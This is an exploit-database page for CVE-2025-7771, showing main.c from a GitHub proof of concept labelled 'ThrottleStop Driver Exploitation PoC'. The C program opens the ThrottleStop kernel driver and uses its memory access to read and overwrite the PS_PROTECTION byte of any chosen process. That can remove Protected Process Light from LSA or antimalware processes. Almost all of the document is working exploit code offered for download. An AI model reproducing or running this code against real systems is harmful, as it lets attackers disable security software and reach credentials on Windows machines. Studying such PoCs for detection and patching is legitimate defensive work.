Exploit database

GH-c7ef45662de5053c470e163b3f198d4e

v31l0x1/throttlestopppl

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-7771

13 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files14
v31l0x1/throttlestoppplRevision 11875ac1290d

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

main.c

C · 5,298 bytes
#include "PPL.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

HANDLE g_hDevice = INVALID_HANDLE_VALUE;

void printHelp() {
	printf("Usage: PPLmanager -p <pid> -v <protection_level>\n");
	printf("Options:\n");
	printf("	-p <pid>		Specify the process ID (pid) of the process to change the protection level.\n");
	printf("	-v <protection_level>	Specify the protection level value in hexadecimal (e.g., 0x52 for PS_PROTECTED_WINDOWS).\n");
	printf("	-h			Display this help message.\n");
	printf("\nPossible protection level values:\n");
	printf("	0x72	PS_PROTECTED_SYSTEM			System protected process\n");
	printf("	0x62	PS_PROTECTED_LSA			LSA protected process\n");
	printf("	0x52	PS_PROTECTED_WINDOWS			Windows protected process\n");
	printf("	0x61	PS_PROTECTED_WINTCB_LIGHT		Windows TCB light protected process\n");
	printf("	0x51	PS_PROTECTED_WINDOWS_LIGHT		Windows light protected process\n");
	printf("	0x41	PS_PROTECTED_LSA_LIGHT			LSA light protected process\n");
	printf("	0x31	PS_PROTECTED_ANTIMALWARE_LIGHT		Antimalware light protected process\n");
	printf("	0x12	PS_PROTECTED_AUTHENTICODE		Authenticode protected process\n");
	printf("	0x11	PS_PROTECTED_AUTHENTICODE_LIGHT		Authenticode light protected process\n");
	printf("	0x00	NO_PROTECTION				for no protection\n");
}

BOOL IsElevated() {
	HANDLE hToken = NULL;
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
		printf("Error: OpenProcessToken failed (code: %lu)\n", GetLastError());
		return FALSE;
	}
	TOKEN_ELEVATION elevation;
	DWORD size = sizeof(TOKEN_ELEVATION);
	if (!GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &size)) {
		CloseHandle(hToken);
		printf("Error: GetTokenInformation failed (code: %lu)\n", GetLastError());
		return FALSE;
	}

	CloseHandle(hToken);
	return elevation.TokenIsElevated;
}

int main(int argc, char* argv[]) {
	printf("==========================================================\n");
	printf("  PPL Protection Manager for Windows Server 2022\n");
	printf("  ThrottleStop Driver Exploitation PoC\n");
	printf("==========================================================\n\n");

	DWORD targetPid = 0;
	BYTE protectionValue = 0xFF;
	BOOL pidProvided = FALSE;
	BOOL protectionProvided = FALSE;

	// Parse command line arguments
	for (int i = 1; i < argc; i++) {
		if (strcmp(argv[i], "-h") == 0 || strcmp(argv[i], "--help") == 0) {
			printHelp();
			return 0;
		}
		else if (strcmp(argv[i], "-p") == 0) {
			if (i + 1 < argc) {
				targetPid = (DWORD)atoi(argv[++i]);
				pidProvided = TRUE;
			}
			else {
				printf("Error: -p option requires a process ID\n\n");
				printHelp();
				return 1;
			}
		}
		else if (strcmp(argv[i], "-v") == 0) {
			if (i + 1 < argc) {
				protectionValue = (BYTE)strtoul(argv[++i], NULL, 0);
				protectionProvided = TRUE;
			}
			else {
				printf("Error: -v option requires a protection value\n\n");
				printHelp();
				return 1;
			}
		}
		else {
			printf("Error: Unknown option '%s'\n\n", argv[i]);
			printHelp();
			return 1;
		}
	}

	// Validate required arguments
	if (!pidProvided || !protectionProvided) {
		printf("Error: Both -p and -v options are required\n\n");
		printHelp();
		return 1;
	}

	if (targetPid == 0) {
		printf("Error: Invalid process ID\n");
		return 1;
	}

	// Check for admin privileges
	if (!IsElevated()) {
		printf("Error: This program requires elevated privileges. Please run as administrator.\n");
		return 1;
	}

	printf("[*] Target PID: %lu\n", targetPid);
	printf("[*] Protection value: 0x%02X\n\n", protectionValue);

	// Open ThrottleStop driver handle
	printf("[*] Opening ThrottleStop driver...\n");
	g_hDevice = CreateFileW(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (g_hDevice == INVALID_HANDLE_VALUE) {
		printf("[-] Failed to open ThrottleStop device handle (code: %lu)\n", GetLastError());
		printf("    Make sure the ThrottleStop driver is loaded.\n");
		return 1;
	}
	printf("[+] Driver handle opened successfully\n\n");

	// Build memory map for virtual-to-physical translation
	printf("[*] Building memory map (this may take a moment)...\n");
	NTSTATUS status = BuildMemoryMap();
	if (!NT_SUCCESS(status)) {
		printf("[-] Failed to build memory map: 0x%X\n", status);
		CloseHandle(g_hDevice);
		return 1;
	}
	printf("[+] Memory map built successfully\n\n");

	// Read current protection value
	BYTE currentProtection = 0;
	printf("[*] Reading current protection value...\n");
	if (GetProcessProtection(targetPid, &currentProtection)) {
		printf("[+] Current PS_PROTECTION: 0x%02X\n\n", currentProtection);
	}
	else {
		printf("[-] Failed to read current protection value\n");
		printf("    Process may not exist or offsets may be incorrect.\n");
		FreeMemoryMaps();
		CloseHandle(g_hDevice);
		return 1;
	}

	// Modify protection
	printf("[*] Modifying process protection...\n");
	if (SetProcessProtection(targetPid, protectionValue)) {
		printf("\n[SUCCESS] Process protection modified successfully!\n");
	}
	else {
		printf("\n[FAILED] Failed to modify process protection\n");
		FreeMemoryMaps();
		CloseHandle(g_hDevice);
		return 1;
	}

	// Cleanup
	FreeMemoryMaps();
	CloseHandle(g_hDevice);

	printf("\n[*] Cleanup complete. Exiting.\n");
	return 0;
}